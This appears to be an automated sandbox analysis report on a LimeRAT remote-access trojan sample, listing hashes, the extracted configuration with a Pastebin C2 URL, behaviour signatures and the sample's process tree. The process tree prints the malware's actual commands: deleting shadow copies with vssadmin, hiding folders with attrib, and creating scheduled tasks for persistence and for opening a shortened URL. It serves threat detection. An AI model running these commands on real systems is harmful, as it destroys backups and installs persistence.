Analysis

  • max time kernel
    1197s
  • max time network
    1198s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-06-2024 22:06

General

  • Target

    Client.exe

  • Size

    240KB

  • MD5

    16deda7a7a2e8f354fbff30ad723a711

  • SHA1

    8730e18a2fc9722f7700c1192b3cc941169d7701

  • SHA256

    4c93b44d1550229fd328c058fbbfe44999ba01e2766b4d3df17c777ce643925e

  • SHA512

    6a19f30f3eca499e14ab97c5055420cc352852b9e5caeeaf016cd6c707dee6837b92bd7a49e7ca288e391205f3ae0786f43a4fef1ca01e5829594edfe60108cd

  • SSDEEP

    6144:RFCE/UVPy/oCa+LDZWC9z52oMbWknq1dissN:zCzPygCa+DZunq1cd

Malware Config

Extracted

Family

limerat

Wallets

False

Attributes
  • aes_key

    1

  • antivm

    false

  • c2_url

    https://pastebin.com/raw/GfV4LBjE

  • download_payload

    false

  • install

    true

  • install_name

    svchost.exe

  • main_folder

    False

  • payload_url

    True

  • pin_spread

    true

  • sub_folder

    True

  • usb_spread

    false

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 15 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Interacts with shadow copies 3 TTPs 12 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Modifies security service
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Windows\system32\attrib.exe
        attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
        3⤵
        • Views/modifies file attributes
        PID:544
      • C:\Windows\system32\attrib.exe
        attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
        3⤵
        • Views/modifies file attributes
        PID:4860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4664
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin Delete Shadows /all /quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\system32\vssadmin.exe
        vssadmin Delete Shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:912
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1352
      • C:\Windows\system32\vssadmin.exe
        vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
        3⤵
          PID:1524
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
          3⤵
          • Interacts with shadow copies
          PID:2024
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4780
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:1400
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2304
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2348
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3908
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:1692
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3740
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2316
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:664
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4472
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1916
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:420
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3944
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:1904
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2220
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4240
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2248
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c Vssadmin delete shadowstorage /all /quiet
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3900
        • C:\Windows\system32\vssadmin.exe
          Vssadmin delete shadowstorage /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4876
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /sc ONLOGON /RL HIGHEST /tn MapsToastTask /tr "'C:\Users\Admin\AppData\Roaming\Branding\svchost.exe'"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1652
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "02:28" /sc daily /mo "3" /tn "WinSAT" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4116
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "05:08" /sc daily /mo "2" /tn "WinSAT" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3924
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "12:13" /sc daily /mo "2" /tn "WinSAT" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:364
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "15:52" /sc weekly /mo "5" /d "Thu" /tn "WinSAT" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:336
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "23:07" /sc monthly /m "aug" /tn "WinSAT" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3644
      • C:\Users\Admin\AppData\Roaming\Branding\svchost.exe
        "C:\Users\Admin\AppData\Roaming\Branding\svchost.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:864
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
          3⤵
          • Hide Artifacts: Hidden Files and Directories
          PID:1944
          • C:\Windows\system32\attrib.exe
            attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
            4⤵
            • Views/modifies file attributes
            PID:292
          • C:\Windows\system32\attrib.exe
            attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
            4⤵
            • Views/modifies file attributes
            PID:4928
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /f /sc ONLOGON /RL HIGHEST /tn MapsToastTask /tr "'C:\Users\Admin\AppData\Roaming\Branding\svchost.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4392
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4076

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdnl1i0o.vjo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Branding\svchost.exe

      Filesize

      240KB

      MD5

      16deda7a7a2e8f354fbff30ad723a711

      SHA1

      8730e18a2fc9722f7700c1192b3cc941169d7701

      SHA256

      4c93b44d1550229fd328c058fbbfe44999ba01e2766b4d3df17c777ce643925e

      SHA512

      6a19f30f3eca499e14ab97c5055420cc352852b9e5caeeaf016cd6c707dee6837b92bd7a49e7ca288e391205f3ae0786f43a4fef1ca01e5829594edfe60108cd

    • memory/2684-20-0x00007FF830B93000-0x00007FF830B95000-memory.dmp

      Filesize

      8KB

    • memory/2684-1-0x0000023AD3860000-0x0000023AD38A2000-memory.dmp

      Filesize

      264KB

    • memory/2684-2-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/2684-33-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/2684-0-0x00007FF830B93000-0x00007FF830B95000-memory.dmp

      Filesize

      8KB

    • memory/2684-21-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-13-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-18-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-15-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-14-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-12-0x00007FF830B90000-0x00007FF831652000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-5-0x000002279E540000-0x000002279E562000-memory.dmp

      Filesize

      136KB